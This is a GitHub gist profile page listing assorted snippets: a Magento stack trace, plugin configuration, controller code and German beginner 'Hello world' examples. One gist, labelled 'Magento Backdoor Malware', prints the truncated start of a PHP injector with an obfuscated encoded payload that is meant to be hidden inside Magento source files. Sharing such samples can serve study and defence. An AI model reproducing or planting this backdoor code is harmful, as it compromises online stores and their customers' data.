Skip to content

Instantly share code, notes, and snippets.

Jan Brinkmann luckyduck

View GitHub Profile
View gist:3ee583c253d5313685faf4a537c6c95f
1 exception(s):
Exception #0 (Magento\Framework\Exception\NoSuchEntityException): Brand with id "2" does not exist.
Exception #0 (Magento\Framework\Exception\NoSuchEntityException): Brand with id "2" does not exist.
<pre>#1 Zemez\ShopByBrand\Block\Brand\Product\Brand->getBrand() called at [app/code/Zemez/ShopByBrand/Block/Brand/Product/Brand.php:109]
#2 Zemez\ShopByBrand\Block\Brand\Product\Brand->hasBrand() called at [app/code/Zemez/ShopByBrand/Block/Brand/Product/Brand.php:148]
#3 Zemez\ShopByBrand\Block\Brand\Product\Brand->_toHtml() called at [vendor/magento/framework/View/Element/AbstractBlock.php:1097]
#4 Magento\Framework\View\Element\AbstractBlock->Magento\Framework\View\Element\{closure}() called at [vendor/magento/framework/View/Element/AbstractBlock.php:1101]
#5 Magento\Framework\View\Element\AbstractBlock->_loadCache() called at [vendor/magento/framework/View/Element/AbstractBlock.php:671]
#6 Magento\Framework\View\Element\AbstractBlock->toHtml() called at [vendor/magento/framework/View/Layout.ph
View gist:9c91851329775ee8b2e71f48e585628a
Array
(
[ES_ADDRESS_DATA] => Array
(
[STREET] =>
[HOUSE_NO] =>
[POSTL_COD1] =>
[CITY] =>
[COUNTRY] =>
[TEL_NO] =>
@luckyduck
luckyduck / scr.php
Created Sep 8, 2018
Magento Backdoor Malware
View scr.php
WORD
<?php
$regexTag = '# \* @category \s*Mage#';
$code = <<<'CODE'
*/
$swvJgN7="xQC+BaIOTBpEqTcQblQx5josN1zjqjFvNxlbbYnZNehr6bIY+iP6cwGBxTaHM7+pt5hmf2i/O4aEgvfCRfdJlMGS9RF0N5b83JCApZWFy0NHCplDxGRW3SxW0wZE142Nmf+7FgrnSoIQbmGT5MtwMBPKSMwd/iJG/YimplO02wgCM10Ivq1EtfgoP+AWezctDmP46MXr8Wwa+bgP6MMpmN5T/Yvoi22WXkzhBHd8BZvIXRoIsUADqgfvefeS3TlHavJw9VtGmBdzmU+o21+AZvXDVEK6EKSIi+R7VoiBpdhJTUstir45aKFjjBj4LdR0R/3dEzoNVQRLOmGpil9DqU6Mf1ELgyKywwxZUwOne2qLh3B/qdltngudFA0s8Abgo8gezeRq2i01pSA4MywmLEaJze7k2eJ4TWjgVurEYKKIIMHbtJhlPWOJUMswpVDHRqcsImkiHb4xEI2CBlwwNCdlKRs6eCapeVknqp3tzMzgUTqEg01/pQ7Gy7TE6HAXjlrmvNtl9GsetR2HcD0tvNzoDikre63Qr3W09fidbTWA+JEnhxeP6KfBoQKVicU/9XSZbs7JIJDhhxgAPxaLMOBqIhT5NmKJK7FzCOJYNw3QUdgw5qXzNWG2I4Abtz/H1VNhFiJcxKjvkH4Cq7eMCzKQyJ2xQB8hYxLUN4KQxDLx7KsRlYIZZgxiC65C61zk5yET7p7UC+8FRa6sbTFrV3uLcpt0T37Mj8kE2N8ZodEm93OVfcpSBjE1MGLV0CdgBF3ZxHjpk+csTtcwSjo9evDMG5vhZ8YdXUF15Pk3mG6gehYe3IbXzcg39+tIC2Cf9usIz1Y7AAhFIM/eqCAR+xguxQOa28Zj3eEA3FPb1MywzSI7okuO9sU9DoQxg0hQmcCasgiih3WK1WE+BkjBtYCGBusDU2UAvzUU4z98bF3X
View di.xml
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
<!-- filter product list -->
<type name="Magento\Catalog\Model\Layer">
<plugin sortOrder="1" name="customCategoryFilter" type="...\LayerPlugin"/>
</type>
</config>
View LayerPlugin.php
<?php
namespace ...;
class LayerPlugin
{
const FILTER_ADDED_KEY = 'tierPriceAdded';
/**
* @var \Magento\Framework\Registry
View gist:7563710e6a590310b846812975447034
public function couponPostAction()
{
/**
* No reason continue with empty shopping cart
*/
if (!$this->_getCart()->getQuote()->getItemsCount()) {
$this->_goBack();
return;
}
View gist:8469028
int a = 17;
int b = 3;
int summe = a + b;
double i = 1.5;
double j = 3.1;
View gist:8468923
var x = 1;
var y = "eine Zeichenkette";
var x = 1.5;
var y = 42;
View gist:8347400
// Ausgabe in der Konsole
console.log('Hello world!');
// Dialog-Fenster
alert('Hello world!');
// im HTML Dokument:
document.write('Hello world');
View gist:8347405
#import <stdio.h>
int main(void)
{
NSLog(@"Hello, world!\n");
return 0;
}
You can’t perform that action at this time.